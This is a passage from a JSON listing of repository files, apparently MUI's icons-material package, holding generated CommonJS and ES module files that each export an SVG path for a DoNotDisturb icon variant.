    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'DoNotDisturb');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoNotDisturbAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11v2h-1.46l4.68 4.68C21.34 16.07 22 14.11 22 12c0-5.52-4.48-10-10-10-2.11 0-4.07.66-5.68 1.78L13.54 11zM2.27 2.27 1 3.54l2.78 2.78C2.66 7.93 2 9.89 2 12c0 5.52 4.48 10 10 10 2.11 0 4.07-.66 5.68-1.78L20.46 23l1.27-1.27L11 11zM7 13v-2h1.46l2 2z\"\n}), 'DoNotDisturbOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11v2h-1.46l4.68 4.68C21.34 16.07 22 14.11 22 12c0-5.52-4.48-10-10-10-2.11 0-4.07.66-5.68 1.78L13.54 11zM2.27 2.27 1 3.54l2.78 2.78C2.66 7.93 2 9.89 2 12c0 5.52 4.48 10 10 10 2.11 0 4.07-.66 5.68-1.78L20.46 23l1.27-1.27L11 11zM7 13v-2h1.46l2 2z\"\n}), 'DoNotDisturbOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.94 5.12C9.14 4.41 10.52 4 12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66zM2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.41zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06L8.17 11H7v2h3.17l5.88 5.88C14.86 19.59 13.48 20 12 20\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.83 11 2 2H17v-2z\"\n}, \"1\")], 'DoNotDisturbOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.94 5.12C9.14 4.41 10.52 4 12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66zM2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.41zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06L8.17 11H7v2h3.17l5.88 5.88C14.86 19.59 13.48 20 12 20\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.83 11 2 2H17v-2z\"\n}, \"1\")], 'DoNotDisturbOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11v2h-1.17l4.51 4.51C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66L13.83 11zM2.1 4.93l1.56 1.56c-1.37 2.07-2 4.68-1.48 7.45.75 3.95 3.92 7.13 7.88 7.88 2.77.52 5.38-.1 7.45-1.48l1.56 1.56c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42M7 11h1.17l2 2H7z\"\n}), 'DoNotDisturbOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11v2h-1.17l4.51 4.51C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66L13.83 11zM2.1 4.93l1.56 1.56c-1.37 2.07-2 4.68-1.48 7.45.75 3.95 3.92 7.13 7.88 7.88 2.77.52 5.38-.1 7.45-1.48l1.56 1.56c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42M7 11h1.17l2 2H7z\"\n}), 'DoNotDisturbOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11v2h-1.17l4.51 4.51C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66L13.83 11zM1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.41L2.81 2.81zM7 11h1.17l2 2H7z\"\n}), 'DoNotDisturbOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11v2h-1.17l4.51 4.51C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66L13.83 11zM1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.41L2.81 2.81zM7 11h1.17l2 2H7z\"\n}), 'DoNotDisturbOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13v-2h1.17L5.12 7.94C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12L10.17 13zm5-9c-1.48 0-2.86.41-4.06 1.12L13.83 11H17v2h-1.17l3.06 3.06c.7-1.2 1.11-2.58 1.11-4.06 0-4.41-3.59-8-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.46 1.46C9.14 4.41 10.52 4 12 4m5 9v-2h-3.17l2 2zM1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.41L2.81 2.81zm3.73 3.72L8.17 11H7v2h3.17l5.88 5.88C14.86 19.59 13.48 20 12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06\"\n}, \"1\")], 'DoNotDisturbOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13v-2h1.17L5.12 7.94C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12L10.17 13zm5-9c-1.48 0-2.86.41-4.06 1.12L13.83 11H17v2h-1.17l3.06 3.06c.7-1.2 1.11-2.58 1.11-4.06 0-4.41-3.59-8-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.06l1.46 1.46C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.46 1.46C9.14 4.41 10.52 4 12 4m5 9v-2h-3.17l2 2zM1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.41L2.81 2.81zm3.73 3.72L8.17 11H7v2h3.17l5.88 5.88C14.86 19.59 13.48 20 12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06\"\n}, \"1\")], 'DoNotDisturbOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'DoNotDisturbOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'DoNotDisturbOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'DoNotDisturbOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11v2h10v-2zm5-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'DoNotDisturbOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 11H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'DoNotDisturbOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 11H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'DoNotDisturbOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'DoNotDisturbOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11H7v-2h10z\"\n}), 'DoNotDisturbOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnTotalSilence.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-14c-3.3 0-6 2.7-6 6s2.7 6 6 6 6-2.7 6-6-2.6-6-6-6m3 7H9v-2h6z\"\n}), 'DoNotDisturbOnTotalSilence');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnTotalSilence.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-14c-3.3 0-6 2.7-6 6s2.7 6 6 6 6-2.7 6-6-2.6-6-6-6m3 7H9v-2h6z\"\n}), 'DoNotDisturbOnTotalSilence');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnTotalSilenceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-14c-3.3 0-6 2.7-6 6s2.7 6 6 6 6-2.7 6-6-2.6-6-6-6m3 7H9v-2h6z\"\n}), 'DoNotDisturbOnTotalSilenceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnTotalSilenceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-14c-3.3 0-6 2.7-6 6s2.7 6 6 6 6-2.7 6-6-2.6-6-6-6m3 7H9v-2h6z\"\n}), 'DoNotDisturbOnTotalSilenceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotDisturbOnTotalSilenceRounded.js",
